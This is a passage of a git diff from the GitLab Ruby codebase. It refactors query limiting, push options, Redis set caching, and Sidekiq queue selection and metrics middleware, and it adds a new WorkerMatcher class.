+++ b/lib/gitlab/prometheus/queries/matched_metric_query.rb
@@ -4,7 +4,7 @@ module Gitlab
module Prometheus
module Queries
class MatchedMetricQuery < BaseQuery
- MAX_QUERY_ITEMS = 40.freeze
+ MAX_QUERY_ITEMS = 40
def query
groups_data.map do |group, data|
diff --git a/lib/gitlab/prometheus_client.rb b/lib/gitlab/prometheus_client.rb
index 965349ad711..0fcf63d03fc 100644
--- a/lib/gitlab/prometheus_client.rb
+++ b/lib/gitlab/prometheus_client.rb
@@ -140,7 +140,7 @@ module Gitlab
end
def mapped_options
- options.keys.map { |k| [gitlab_http_key(k), options[k]] }.to_h
+ options.keys.to_h { |k| [gitlab_http_key(k), options[k]] }
end
def http_options
diff --git a/lib/gitlab/push_options.rb b/lib/gitlab/push_options.rb
index 02446a7953b..ce9fced9465 100644
--- a/lib/gitlab/push_options.rb
+++ b/lib/gitlab/push_options.rb
@@ -5,6 +5,7 @@ module Gitlab
VALID_OPTIONS = HashWithIndifferentAccess.new({
merge_request: {
keys: [
+ :assign,
:create,
:description,
:label,
@@ -12,6 +13,7 @@ module Gitlab
:remove_source_branch,
:target,
:title,
+ :unassign,
:unlabel
]
},
@@ -23,7 +25,9 @@ module Gitlab
MULTI_VALUE_OPTIONS = [
%w[ci variable],
%w[merge_request label],
- %w[merge_request unlabel]
+ %w[merge_request unlabel],
+ %w[merge_request assign],
+ %w[merge_request unassign]
].freeze
NAMESPACE_ALIASES = HashWithIndifferentAccess.new({
diff --git a/lib/gitlab/query_limiting.rb b/lib/gitlab/query_limiting.rb
index 5e46e26e14e..03386dca141 100644
--- a/lib/gitlab/query_limiting.rb
+++ b/lib/gitlab/query_limiting.rb
@@ -6,28 +6,36 @@ module Gitlab
#
# This is only enabled in development and test to ensure we don't produce
# any errors that users of other environments can't do anything about themselves.
- def self.enable?
+ def self.enabled_for_env?
Rails.env.development? || Rails.env.test?
end
+ def self.enabled?
+ enabled_for_env? &&
+ !Gitlab::SafeRequestStore[:query_limiting_disabled]
+ end
+
# Allows the current request to execute any number of SQL queries.
#
# This method should _only_ be used when there's a corresponding issue to
# reduce the number of queries.
#
# The issue URL is only meant to push developers into creating an issue
- # instead of blindly whitelisting offending blocks of code.
- def self.whitelist(issue_url)
- return unless enable?
-
+ # instead of blindly disabling for offending blocks of code.
+ def self.disable!(issue_url)
unless issue_url.start_with?('https://')
raise(
ArgumentError,
- 'You must provide a valid issue URL in order to whitelist a block of code'
+ 'You must provide a valid issue URL in order to allow a block of code'
)
end
- Transaction&.current&.whitelisted = true
+ Gitlab::SafeRequestStore[:query_limiting_disabled] = true
+ end
+
+ # Enables query limiting for the request.
+ def self.enable!
+ Gitlab::SafeRequestStore[:query_limiting_disabled] = nil
end
end
end
diff --git a/lib/gitlab/query_limiting/transaction.rb b/lib/gitlab/query_limiting/transaction.rb
index 196072dddda..643b2540c37 100644
--- a/lib/gitlab/query_limiting/transaction.rb
+++ b/lib/gitlab/query_limiting/transaction.rb
@@ -5,7 +5,7 @@ module Gitlab
class Transaction
THREAD_KEY = :__gitlab_query_counts_transaction
- attr_accessor :count, :whitelisted
+ attr_accessor :count
# The name of the action (e.g. `UsersController#show`) that is being
# executed.
@@ -45,7 +45,6 @@ module Gitlab
def initialize
@action = nil
@count = 0
- @whitelisted = false
@sql_executed = []
end
@@ -59,7 +58,7 @@ module Gitlab
end
def increment
- @count += 1 unless whitelisted
+ @count += 1 if enabled?
end
def executed_sql(sql)
@@ -83,6 +82,10 @@ module Gitlab
["#{header}: #{msg}", log, ellipsis].compact.join("\n")
end
+
+ def enabled?
+ ::Gitlab::QueryLimiting.enabled?
+ end
end
end
end
diff --git a/lib/gitlab/quick_actions/command_definition.rb b/lib/gitlab/quick_actions/command_definition.rb
index b17a0208f95..8ce13db4c03 100644
--- a/lib/gitlab/quick_actions/command_definition.rb
+++ b/lib/gitlab/quick_actions/command_definition.rb
@@ -56,15 +56,18 @@ module Gitlab
end
def execute(context, arg)
- return unless executable?(context)
+ return if noop?
count_commands_executed_in(context)
+ return unless available?(context)
+
execute_block(action_block, context, arg)
end
def execute_message(context, arg)
- return unless executable?(context)
+ return if noop?
+ return _('Could not apply %{name} command.') % { name: name } unless available?(context)
if execution_message.respond_to?(:call)
execute_block(execution_message, context, arg)
@@ -101,10 +104,6 @@ module Gitlab
private
- def executable?(context)
- !noop? && available?(context)
- end
-
def count_commands_executed_in(context)
return unless context.respond_to?(:commands_executed_count=)
diff --git a/lib/gitlab/quick_actions/issue_and_merge_request_actions.rb b/lib/gitlab/quick_actions/issue_and_merge_request_actions.rb
index 4934c12a339..b7d58e05651 100644
--- a/lib/gitlab/quick_actions/issue_and_merge_request_actions.rb
+++ b/lib/gitlab/quick_actions/issue_and_merge_request_actions.rb
@@ -182,7 +182,7 @@ module Gitlab
parse_params do |raw_time_date|
Gitlab::QuickActions::SpendTimeAndDateSeparator.new(raw_time_date).execute
end
- command :spend do |time_spent, time_spent_date|
+ command :spend, :spent do |time_spent, time_spent_date|
if time_spent
@updates[:spend_time] = {
duration: time_spent,
diff --git a/lib/gitlab/rack_attack/request.rb b/lib/gitlab/rack_attack/request.rb
index 67e3a5de223..bd6d2e016b4 100644
--- a/lib/gitlab/rack_attack/request.rb
+++ b/lib/gitlab/rack_attack/request.rb
@@ -34,12 +34,16 @@ module Gitlab
path =~ %r{^/-/(health|liveness|readiness|metrics)}
end
+ def container_registry_event?
+ path =~ %r{^/api/v\d+/container_registry_event/}
+ end
+
def product_analytics_collector_request?
path.start_with?('/-/collector/i')
end
def should_be_skipped?
- api_internal_request? || health_check_request?
+ api_internal_request? || health_check_request? || container_registry_event?
end
def web_request?
diff --git a/lib/gitlab/regex.rb b/lib/gitlab/regex.rb
index 00739c05386..488ba04f87c 100644
--- a/lib/gitlab/regex.rb
+++ b/lib/gitlab/regex.rb
@@ -181,7 +181,7 @@ module Gitlab
end
def generic_package_version_regex
- /\A\d+\.\d+\.\d+\z/
+ maven_version_regex
end
def generic_package_name_regex
@@ -385,11 +385,11 @@ module Gitlab
end
def merge_request_wip
- /(?i)(\[WIP\]\s*|WIP:\s*|WIP$)/
+ /(?i)(\[WIP\]\s*|WIP:\s*|\AWIP\z)/
end
def merge_request_draft
- /(?i)(\[draft\]|\(draft\)|draft:|draft\s\-\s|draft$)/
+ /\A(?i)(\[draft\]|\(draft\)|draft:|draft\s\-\s|draft\z)/
end
def issue
diff --git a/lib/gitlab/relative_positioning/closed_range.rb b/lib/gitlab/relative_positioning/closed_range.rb
index 8916d1face5..11fba05edee 100644
--- a/lib/gitlab/relative_positioning/closed_range.rb
+++ b/lib/gitlab/relative_positioning/closed_range.rb
@@ -4,7 +4,8 @@ module Gitlab
module RelativePositioning
class ClosedRange < RelativePositioning::Range
def initialize(lhs, rhs)
- @lhs, @rhs = lhs, rhs
+ @lhs = lhs
+ @rhs = rhs
raise IllegalRange, 'Either lhs or rhs is missing' unless lhs && rhs
raise IllegalRange, 'lhs and rhs cannot be the same object' if lhs == rhs
end
diff --git a/lib/gitlab/relative_positioning/gap.rb b/lib/gitlab/relative_positioning/gap.rb
index ab894141a60..2e30e598eb0 100644
--- a/lib/gitlab/relative_positioning/gap.rb
+++ b/lib/gitlab/relative_positioning/gap.rb
@@ -6,7 +6,8 @@ module Gitlab
attr_reader :start_pos, :end_pos
def initialize(start_pos, end_pos)
- @start_pos, @end_pos = start_pos, end_pos
+ @start_pos = start_pos
+ @end_pos = end_pos
end
def ==(other)
diff --git a/lib/gitlab/repository_cache_adapter.rb b/lib/gitlab/repository_cache_adapter.rb
index eb7c9bccf96..d0230c035cc 100644
--- a/lib/gitlab/repository_cache_adapter.rb
+++ b/lib/gitlab/repository_cache_adapter.rb
@@ -60,14 +60,17 @@ module Gitlab
define_method("#{name}_include?") do |value|
ivar = "@#{name}_include"
memoized = instance_variable_get(ivar) || {}
+ lookup = proc { __send__(name).include?(value) } # rubocop:disable GitlabSecurity/PublicSend
next memoized[value] if memoized.key?(value)
memoized[value] =
- if strong_memoized?(name) || !redis_set_cache.exist?(name)
- __send__(name).include?(value) # rubocop:disable GitlabSecurity/PublicSend
+ if strong_memoized?(name)
+ lookup.call
else
- redis_set_cache.include?(name, value)
+ result, exists = redis_set_cache.try_include?(name, value)
+
+ exists ? result : lookup.call
end
instance_variable_set(ivar, memoized)[value]
diff --git a/lib/gitlab/repository_hash_cache.rb b/lib/gitlab/repository_hash_cache.rb
index d479d3115a6..430f3e8d162 100644
--- a/lib/gitlab/repository_hash_cache.rb
+++ b/lib/gitlab/repository_hash_cache.rb
@@ -148,7 +148,7 @@ module Gitlab
# @param hash [Hash]
# @return [Hash] the stringified hash
def standardize_hash(hash)
- hash.map { |k, v| [k.to_s, v.to_s] }.to_h
+ hash.to_h { |k, v| [k.to_s, v.to_s] }
end
# Record metrics in Prometheus.
diff --git a/lib/gitlab/repository_set_cache.rb b/lib/gitlab/repository_set_cache.rb
index 69c1688767c..f73ac628bce 100644
--- a/lib/gitlab/repository_set_cache.rb
+++ b/lib/gitlab/repository_set_cache.rb
@@ -36,10 +36,32 @@ module Gitlab
end
def fetch(key, &block)
- if exist?(key)
- read(key)
- else
- write(key, yield)
+ full_key = cache_key(key)
+
+ smembers, exists = with do |redis|
+ redis.multi do
+ redis.smembers(full_key)
+ redis.exists(full_key)
+ end
+ end
+
+ return smembers if exists
+
+ write(key, yield)
+ end
+
+ # Searches the cache set using SSCAN with the MATCH option. The MATCH
+ # parameter is the pattern argument.
+ # See https://redis.io/commands/scan#the-match-option for more information.
+ # Returns an Enumerator that enumerates all SSCAN hits.
+ def search(key, pattern, &block)
+ full_key = cache_key(key)
+
+ with do |redis|
+ exists = redis.exists(full_key)
+ write(key, yield) unless exists
+
+ redis.sscan_each(full_key, match: pattern)
end
end
end
diff --git a/lib/gitlab/search_context.rb b/lib/gitlab/search_context.rb
index c3bb0ff26f2..0323220690a 100644
--- a/lib/gitlab/search_context.rb
+++ b/lib/gitlab/search_context.rb
@@ -129,7 +129,10 @@ module Gitlab
'wiki_blobs'
elsif view_context.current_controller?(:commits)
'commits'
- else nil
+ elsif view_context.current_controller?(:groups)
+ if %w(issues merge_requests).include?(view_context.controller.action_name)
+ view_context.controller.action_name
+ end
end
end
end
@@ -160,3 +163,5 @@ module Gitlab
end
end
end
+
+Gitlab::SearchContext::Builder.prepend_ee_mod
diff --git a/lib/gitlab/set_cache.rb b/lib/gitlab/set_cache.rb
index 591265d014e..0f2b7b194c9 100644
--- a/lib/gitlab/set_cache.rb
+++ b/lib/gitlab/set_cache.rb
@@ -51,6 +51,19 @@ module Gitlab
with { |redis| redis.sismember(cache_key(key), value) }
end
+ # Like include?, but also tells us if the cache was populated when it ran
+ # by returning two booleans: [member_exists, set_exists]
+ def try_include?(key, value)
+ full_key = cache_key(key)
+
+ with do |redis|
+ redis.multi do
+ redis.sismember(full_key, value)
+ redis.exists(full_key)
+ end
+ end
+ end
+
def ttl(key)
with { |redis| redis.ttl(cache_key(key)) }
end
diff --git a/lib/gitlab/setup_helper.rb b/lib/gitlab/setup_helper.rb
index 7561e36cc33..3ac20724403 100644
--- a/lib/gitlab/setup_helper.rb
+++ b/lib/gitlab/setup_helper.rb
@@ -98,6 +98,10 @@ module Gitlab
if Rails.env.test?
socket_filename = options[:gitaly_socket] || "gitaly.socket"
+ prometheus_listen_addr = options[:prometheus_listen_addr]
+
+ git_bin_path = File.expand_path('../gitaly/_build/deps/git/install/bin/git')
+ git_bin_path = nil unless File.exist?(git_bin_path)
config = {
# Override the set gitaly_address since Praefect is in the loop
@@ -106,8 +110,12 @@ module Gitlab
# Compared to production, tests run in constrained environments. This
# number is meant to grow with the number of concurrent rails requests /
# sidekiq jobs, and concurrency will be low anyway in test.
- git: { catfile_cache_size: 5 }
- }
+ git: {
+ catfile_cache_size: 5,
+ bin_path: git_bin_path
+ }.compact,
+ prometheus_listen_addr: prometheus_listen_addr
+ }.compact
storage_path = Rails.root.join('tmp', 'tests', 'second_storage').to_s
storages << { name: 'test_second_storage', path: storage_path }
diff --git a/lib/gitlab/sidekiq_cluster/cli.rb b/lib/gitlab/sidekiq_cluster/cli.rb
index e471517c50a..9490d543dd1 100644
--- a/lib/gitlab/sidekiq_cluster/cli.rb
+++ b/lib/gitlab/sidekiq_cluster/cli.rb
@@ -53,11 +53,11 @@ module Gitlab
'You cannot specify --queue-selector and --experimental-queue-selector together'
end
- all_queues = SidekiqConfig::CliMethods.all_queues(@rails_path)
- queue_names = SidekiqConfig::CliMethods.worker_queues(@rails_path)
+ worker_metadatas = SidekiqConfig::CliMethods.worker_metadatas(@rails_path)
+ worker_queues = SidekiqConfig::CliMethods.worker_queues(@rails_path)
- queue_groups = argv.map do |queues|
- next queue_names if queues == '*'
+ queue_groups = argv.map do |queues_or_query_string|
+ next worker_queues if queues_or_query_string == SidekiqConfig::WorkerMatcher::WILDCARD_MATCH
# When using the queue query syntax, we treat each queue group
# as a worker attribute query, and resolve the queues for the
@@ -65,14 +65,14 @@ module Gitlab
# Simplify with https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/646
if @queue_selector || @experimental_queue_selector
- SidekiqConfig::CliMethods.query_workers(queues, all_queues)
+ SidekiqConfig::CliMethods.query_queues(queues_or_query_string, worker_metadatas)
else
- SidekiqConfig::CliMethods.expand_queues(queues.split(','), queue_names)
+ SidekiqConfig::CliMethods.expand_queues(queues_or_query_string.split(','), worker_queues)
end
end
if @negate_queues
- queue_groups.map! { |queues| queue_names - queues }
+ queue_groups.map! { |queues| worker_queues - queues }
end
if queue_groups.all?(&:empty?)
diff --git a/lib/gitlab/sidekiq_config.rb b/lib/gitlab/sidekiq_config.rb
index 633291dcdf3..78d45b5f3f0 100644
--- a/lib/gitlab/sidekiq_config.rb
+++ b/lib/gitlab/sidekiq_config.rb
@@ -13,10 +13,17 @@ module Gitlab
(EE_QUEUE_CONFIG_PATH if Gitlab.ee?)
].compact.freeze
- DEFAULT_WORKERS = [
- DummyWorker.new('default', weight: 1, tags: []),
- DummyWorker.new('mailers', weight: 2, tags: [])
- ].map { |worker| Gitlab::SidekiqConfig::Worker.new(worker, ee: false) }.freeze
+ # This maps workers not in our application code to queues. We need
+ # these queues in our YAML files to ensure we don't accidentally
+ # miss jobs from these queues.
+ #
+ # The default queue should be unused, which is why it maps to an
+ # invalid class name. We keep it in the YAML file for safety, just
+ # in case anything does get scheduled to run there.
+ DEFAULT_WORKERS = {
+ '_' => DummyWorker.new('default', weight: 1, tags: []),
+ 'ActionMailer::MailDeliveryJob' => DummyWorker.new('mailers', feature_category: :issue_tracking, urgency: 'low', weight: 2, tags: [])
+ }.transform_values { |worker| Gitlab::SidekiqConfig::Worker.new(worker, ee: false) }.freeze
class << self
include Gitlab::SidekiqConfig::CliMethods
@@ -40,7 +47,7 @@ module Gitlab
def workers
@workers ||= begin
result = []
- result.concat(DEFAULT_WORKERS)
+ result.concat(DEFAULT_WORKERS.values)
result.concat(find_workers(Rails.root.join('app', 'workers'), ee: false))
if Gitlab.ee?
diff --git a/lib/gitlab/sidekiq_config/cli_methods.rb b/lib/gitlab/sidekiq_config/cli_methods.rb
index a256632bc12..8eef15f9ccb 100644
--- a/lib/gitlab/sidekiq_config/cli_methods.rb
+++ b/lib/gitlab/sidekiq_config/cli_methods.rb
@@ -12,35 +12,19 @@ module Gitlab
# rubocop:disable Gitlab/ModuleWithInstanceVariables
extend self
+ # The file names are misleading. Those files contain the metadata of the
+ # workers. They should be renamed to all_workers instead.
+ # https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1018
QUEUE_CONFIG_PATHS = begin
result = %w[app/workers/all_queues.yml]
result << 'ee/app/workers/all_queues.yml' if Gitlab.ee?
result
end.freeze
- QUERY_OR_OPERATOR = '|'
- QUERY_AND_OPERATOR = '&'
- QUERY_CONCATENATE_OPERATOR = ','
- QUERY_TERM_REGEX = %r{^(\w+)(!?=)([\w:#{QUERY_CONCATENATE_OPERATOR}]+)}.freeze
+ def worker_metadatas(rails_path = Rails.root.to_s)
+ @worker_metadatas ||= {}
- QUERY_PREDICATES = {
- feature_category: :to_sym,
- has_external_dependencies: lambda { |value| value == 'true' },
- name: :to_s,
- resource_boundary: :to_sym,
- tags: :to_sym,
- urgency: :to_sym
- }.freeze
-
- QueryError = Class.new(StandardError)
- InvalidTerm = Class.new(QueryError)
- UnknownOperator = Class.new(QueryError)
- UnknownPredicate = Class.new(QueryError)
-
- def all_queues(rails_path = Rails.root.to_s)
- @worker_queues ||= {}
-
- @worker_queues[rails_path] ||= QUEUE_CONFIG_PATHS.flat_map do |path|
+ @worker_metadatas[rails_path] ||= QUEUE_CONFIG_PATHS.flat_map do |path|
full_path = File.join(rails_path, path)
File.exist?(full_path) ? YAML.load_file(full_path) : []
@@ -49,7 +33,7 @@ module Gitlab
# rubocop:enable Gitlab/ModuleWithInstanceVariables
def worker_queues(rails_path = Rails.root.to_s)
- worker_names(all_queues(rails_path))
+ worker_names(worker_metadatas(rails_path))
end
def expand_queues(queues, all_queues = self.worker_queues)
@@ -62,13 +46,18 @@ module Gitlab
end
end
- def query_workers(query_string, queues)
- worker_names(queues.select(&query_string_to_lambda(query_string)))
+ def query_queues(query_string, worker_metadatas)
+ matcher = SidekiqConfig::WorkerMatcher.new(query_string)
+ selected_metadatas = worker_metadatas.select do |worker_metadata|
+ matcher.match?(worker_metadata)
+ end
+
+ worker_names(selected_metadatas)
end
def clear_memoization!
- if instance_variable_defined?('@worker_queues')
- remove_instance_variable('@worker_queues')
+ if instance_variable_defined?('@worker_metadatas')
+ remove_instance_variable('@worker_metadatas')
end
end
@@ -77,53 +66,6 @@ module Gitlab
def worker_names(workers)
workers.map { |queue| queue[:name] }
end
-
- def query_string_to_lambda(query_string)
- or_clauses = query_string.split(QUERY_OR_OPERATOR).map do |and_clauses_string|
- and_clauses_predicates = and_clauses_string.split(QUERY_AND_OPERATOR).map do |term|
- predicate_for_term(term)
- end
-
- lambda { |worker| and_clauses_predicates.all? { |predicate| predicate.call(worker) } }
- end
-
- lambda { |worker| or_clauses.any? { |predicate| predicate.call(worker) } }
- end
-
- def predicate_for_term(term)
- match = term.match(QUERY_TERM_REGEX)
-
- raise InvalidTerm.new("Invalid term: #{term}") unless match
-
- _, lhs, op, rhs = *match
-
- predicate_for_op(op, predicate_factory(lhs, rhs.split(QUERY_CONCATENATE_OPERATOR)))
- end
-
- def predicate_for_op(op, predicate)
- case op
- when '='
- predicate
- when '!='
- lambda { |worker| !predicate.call(worker) }
- else
- # This is unreachable because InvalidTerm will be raised instead, but
- # keeping it allows to guard against that changing in future.
- raise UnknownOperator.new("Unknown operator: #{op}")
- end
- end
-
- def predicate_factory(lhs, values)
- values_block = QUERY_PREDICATES[lhs.to_sym]
-
- raise UnknownPredicate.new("Unknown predicate: #{lhs}") unless values_block
-
- lambda do |queue|
- comparator = Array(queue[lhs.to_sym]).to_set
-
- values.map(&values_block).to_set.intersect?(comparator)
- end
- end
end
end
end
diff --git a/lib/gitlab/sidekiq_config/worker_matcher.rb b/lib/gitlab/sidekiq_config/worker_matcher.rb
new file mode 100644
index 00000000000..fe5ac10c65a
--- /dev/null
+++ b/lib/gitlab/sidekiq_config/worker_matcher.rb
@@ -0,0 +1,86 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module SidekiqConfig
+ class WorkerMatcher
+ WILDCARD_MATCH = '*'
+ QUERY_OR_OPERATOR = '|'
+ QUERY_AND_OPERATOR = '&'
+ QUERY_CONCATENATE_OPERATOR = ','
+ QUERY_TERM_REGEX = %r{^(\w+)(!?=)([\w:#{QUERY_CONCATENATE_OPERATOR}]+)}.freeze
+
+ QUERY_PREDICATES = {
+ feature_category: :to_sym,
+ has_external_dependencies: lambda { |value| value == 'true' },
+ name: :to_s,
+ resource_boundary: :to_sym,
+ tags: :to_sym,
+ urgency: :to_sym
+ }.freeze
+
+ QueryError = Class.new(StandardError)
+ InvalidTerm = Class.new(QueryError)
+ UnknownOperator = Class.new(QueryError)
+ UnknownPredicate = Class.new(QueryError)
+
+ def initialize(query_string)
+ @match_lambda = query_string_to_lambda(query_string)
+ end
+
+ def match?(worker_metadata)
+ @match_lambda.call(worker_metadata)
+ end
+
+ private
+
+ def query_string_to_lambda(query_string)
+ return lambda { |_worker| true } if query_string.strip == WILDCARD_MATCH
+
+ or_clauses = query_string.split(QUERY_OR_OPERATOR).map do |and_clauses_string|
+ and_clauses_predicates = and_clauses_string.split(QUERY_AND_OPERATOR).map do |term|
+ predicate_for_term(term)
+ end
+
+ lambda { |worker| and_clauses_predicates.all? { |predicate| predicate.call(worker) } }
+ end
+
+ lambda { |worker| or_clauses.any? { |predicate| predicate.call(worker) } }
+ end
+
+ def predicate_for_term(term)
+ match = term.match(QUERY_TERM_REGEX)
+
+ raise InvalidTerm.new("Invalid term: #{term}") unless match
+
+ _, lhs, op, rhs = *match
+
+ predicate_for_op(op, predicate_factory(lhs, rhs.split(QUERY_CONCATENATE_OPERATOR)))
+ end
+
+ def predicate_for_op(op, predicate)
+ case op
+ when '='
+ predicate
+ when '!='
+ lambda { |worker| !predicate.call(worker) }
+ else
+ # This is unreachable because InvalidTerm will be raised instead, but
+ # keeping it allows to guard against that changing in future.
+ raise UnknownOperator.new("Unknown operator: #{op}")
+ end
+ end
+
+ def predicate_factory(lhs, values)
+ values_block = QUERY_PREDICATES[lhs.to_sym]
+
+ raise UnknownPredicate.new("Unknown predicate: #{lhs}") unless values_block
+
+ lambda do |queue|
+ comparator = Array(queue[lhs.to_sym]).to_set
+
+ values.map(&values_block).to_set.intersect?(comparator)
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/sidekiq_logging/structured_logger.rb b/lib/gitlab/sidekiq_logging/structured_logger.rb
index 654b17c5740..b1fb3771c78 100644
--- a/lib/gitlab/sidekiq_logging/structured_logger.rb
+++ b/lib/gitlab/sidekiq_logging/structured_logger.rb
@@ -39,9 +39,7 @@ module Gitlab
private
def add_instrumentation_keys!(job, output_payload)
- instrumentation_values = job.slice(*::Gitlab::InstrumentationHelper.keys).stringify_keys
-
- output_payload.merge!(instrumentation_values)
+ output_payload.merge!(job[:instrumentation].stringify_keys)
end
def add_logging_extras!(job, output_payload)
diff --git a/lib/gitlab/sidekiq_middleware.rb b/lib/gitlab/sidekiq_middleware.rb
index a2696e17078..563a105484d 100644
--- a/lib/gitlab/sidekiq_middleware.rb
+++ b/lib/gitlab/sidekiq_middleware.rb
@@ -43,3 +43,5 @@ module Gitlab
end
end
end
+
+Gitlab::SidekiqMiddleware.singleton_class.prepend_if_ee('EE::Gitlab::SidekiqMiddleware')
diff --git a/lib/gitlab/sidekiq_middleware/admin_mode/client.rb b/lib/gitlab/sidekiq_middleware/admin_mode/client.rb
index 36204e1bee0..1b33743a0e9 100644
--- a/lib/gitlab/sidekiq_middleware/admin_mode/client.rb
+++ b/lib/gitlab/sidekiq_middleware/admin_mode/client.rb
@@ -8,7 +8,8 @@ module Gitlab
# If enabled then it injects a job field that persists through the job execution
class Client
def call(_worker_class, job, _queue, _redis_pool)
- return yield unless ::Feature.enabled?(:user_mode_in_session)
+ # Not calling Gitlab::CurrentSettings.admin_mode on purpose on sidekiq middleware
+ # Only when admin mode application setting is enabled might the admin_mode_user_id be non-nil here
# Admin mode enabled in the original request or in a nested sidekiq job
admin_mode_user_id = find_admin_user_id
diff --git a/lib/gitlab/sidekiq_middleware/admin_mode/server.rb b/lib/gitlab/sidekiq_middleware/admin_mode/server.rb
index 6366867a0fa..c4e64705d6e 100644
--- a/lib/gitlab/sidekiq_middleware/admin_mode/server.rb
+++ b/lib/gitlab/sidekiq_middleware/admin_mode/server.rb
@@ -5,7 +5,8 @@ module Gitlab
module AdminMode
class Server
def call(_worker, job, _queue)
- return yield unless Feature.enabled?(:user_mode_in_session)
+ # Not calling Gitlab::CurrentSettings.admin_mode on purpose on sidekiq middleware
+ # Only when admin_mode setting is enabled can it be true here
admin_mode_user_id = job['admin_mode_user_id']
diff --git a/lib/gitlab/sidekiq_middleware/instrumentation_logger.rb b/lib/gitlab/sidekiq_middleware/instrumentation_logger.rb
index a66a4de4655..b542aa4fe4c 100644
--- a/lib/gitlab/sidekiq_middleware/instrumentation_logger.rb
+++ b/lib/gitlab/sidekiq_middleware/instrumentation_logger.rb
@@ -3,6 +3,24 @@
module Gitlab
module SidekiqMiddleware
class InstrumentationLogger
+ def self.keys
+ @keys ||= [
+ :cpu_s,
+ :gitaly_calls,
+ :gitaly_duration_s,
+ :rugged_calls,
+ :rugged_duration_s,
+ :elasticsearch_calls,
+ :elasticsearch_duration_s,
+ :elasticsearch_timed_out_count,
+ *::Gitlab::Memory::Instrumentation::KEY_MAPPING.values,
+ *::Gitlab::Instrumentation::Redis.known_payload_keys,
+ *::Gitlab::Metrics::Subscribers::ActiveRecord.known_payload_keys,
+ *::Gitlab::Metrics::Subscribers::ExternalHttp::KNOWN_PAYLOAD_KEYS,
+ *::Gitlab::Metrics::Subscribers::RackAttack::PAYLOAD_KEYS
+ ]
+ end
+
def call(worker, job, queue)
::Gitlab::InstrumentationHelper.init_instrumentation_data
@@ -17,7 +35,10 @@ module Gitlab
# because Sidekiq keeps a pristine copy of the original hash
# before sending it to the middleware:
# https://github.com/mperham/sidekiq/blob/53bd529a0c3f901879925b8390353129c465b1f2/lib/sidekiq/processor.rb#L115-L118
- ::Gitlab::InstrumentationHelper.add_instrumentation_data(job)
+ job[:instrumentation] = {}.tap do |instrumentation_values|
+ ::Gitlab::InstrumentationHelper.add_instrumentation_data(instrumentation_values)
+ instrumentation_values.slice!(*self.class.keys)
+ end
end
end
end
diff --git a/lib/gitlab/sidekiq_middleware/metrics_helper.rb b/lib/gitlab/sidekiq_middleware/metrics_helper.rb
index 60e79ee1188..66930a34319 100644
--- a/lib/gitlab/sidekiq_middleware/metrics_helper.rb
+++ b/lib/gitlab/sidekiq_middleware/metrics_helper.rb
@@ -10,6 +10,7 @@ module Gitlab
def create_labels(worker_class, queue, job)
worker_name = (job['wrapped'].presence || worker_class).to_s
+ worker = find_worker(worker_name, worker_class)
labels = { queue: queue.to_s,
worker: worker_name,
@@ -18,15 +19,15 @@ module Gitlab
feature_category: "",
boundary: "" }
- return labels unless worker_class && worker_class.include?(WorkerAttributes)
+ return labels unless worker.respond_to?(:get_urgency)
- labels[:urgency] = worker_class.get_urgency.to_s
- labels[:external_dependencies] = bool_as_label(worker_class.worker_has_external_dependencies?)
+ labels[:urgency] = worker.get_urgency.to_s
+ labels[:external_dependencies] = bool_as_label(worker.worker_has_external_dependencies?)
- feature_category = worker_class.get_feature_category
+ feature_category = worker.get_feature_category
labels[:feature_category] = feature_category.to_s
- resource_boundary = worker_class.get_worker_resource_boundary
+ resource_boundary = worker.get_worker_resource_boundary
labels[:boundary] = resource_boundary == :unknown ? "" : resource_boundary.to_s
labels
@@ -35,6 +36,10 @@ module Gitlab
def bool_as_label(value)
value ? TRUE_LABEL : FALSE_LABEL
end
+
+ def find_worker(worker_name, worker_class)
+ Gitlab::SidekiqConfig::DEFAULT_WORKERS.fetch(worker_name, worker_class)
+ end
end
end
end
diff --git a/lib/gitlab/sidekiq_middleware/server_metrics.rb b/lib/gitlab/sidekiq_middleware/server_metrics.rb
index cf768811ffd..f5fee8050ac 100644
--- a/lib/gitlab/sidekiq_middleware/server_metrics.rb
+++ b/lib/gitlab/sidekiq_middleware/server_metrics.rb
@@ -21,6 +21,16 @@ module Gitlab
Thread.current.name ||= Gitlab::Metrics::Samplers::ThreadsSampler::SIDEKIQ_WORKER_THREAD_NAME
labels = create_labels(worker.class, queue, job)
+ instrument(job, labels) do
+ yield
+ end
+ end
+
+ protected
+
+ attr_reader :metrics
+
+ def instrument(job, labels)
queue_duration = ::Gitlab::InstrumentationHelper.queue_duration_for_job(job)
@metrics[:sidekiq_jobs_queue_duration_seconds].observe(labels, queue_duration) if queue_duration
@@ -50,19 +60,18 @@ module Gitlab
# job_status: done, fail match the job_status attribute in structured logging
labels[:job_status] = job_succeeded ? "done" : "fail"
+ instrumentation = job[:instrumentation] || {}
@metrics[:sidekiq_jobs_cpu_seconds].observe(labels, job_thread_cputime)
@metrics[:sidekiq_jobs_completion_seconds].observe(labels, monotonic_time)
@metrics[:sidekiq_jobs_db_seconds].observe(labels, ActiveRecord::LogSubscriber.runtime / 1000)
- @metrics[:sidekiq_jobs_gitaly_seconds].observe(labels, get_gitaly_time(job))
- @metrics[:sidekiq_redis_requests_total].increment(labels, get_redis_calls(job))
- @metrics[:sidekiq_redis_requests_duration_seconds].observe(labels, get_redis_time(job))
- @metrics[:sidekiq_elasticsearch_requests_total].increment(labels, get_elasticsearch_calls(job))
- @metrics[:sidekiq_elasticsearch_requests_duration_seconds].observe(labels, get_elasticsearch_time(job))
+ @metrics[:sidekiq_jobs_gitaly_seconds].observe(labels, get_gitaly_time(instrumentation))
+ @metrics[:sidekiq_redis_requests_total].increment(labels, get_redis_calls(instrumentation))
+ @metrics[:sidekiq_redis_requests_duration_seconds].observe(labels, get_redis_time(instrumentation))
+ @metrics[:sidekiq_elasticsearch_requests_total].increment(labels, get_elasticsearch_calls(instrumentation))
+ @metrics[:sidekiq_elasticsearch_requests_duration_seconds].observe(labels, get_elasticsearch_time(instrumentation))
end
end
- private
-
def init_metrics
{
sidekiq_jobs_cpu_seconds: ::Gitlab::Metrics.histogram(:sidekiq_jobs_cpu_seconds, 'Seconds of cpu time to run Sidekiq job', {}, SIDEKIQ_LATENCY_BUCKETS),
@@ -81,29 +90,33 @@ module Gitlab
}
end
+ private
+
def get_thread_cputime
defined?(Process::CLOCK_THREAD_CPUTIME_ID) ? Process.clock_gettime(Process::CLOCK_THREAD_CPUTIME_ID) : 0
end
- def get_redis_time(job)
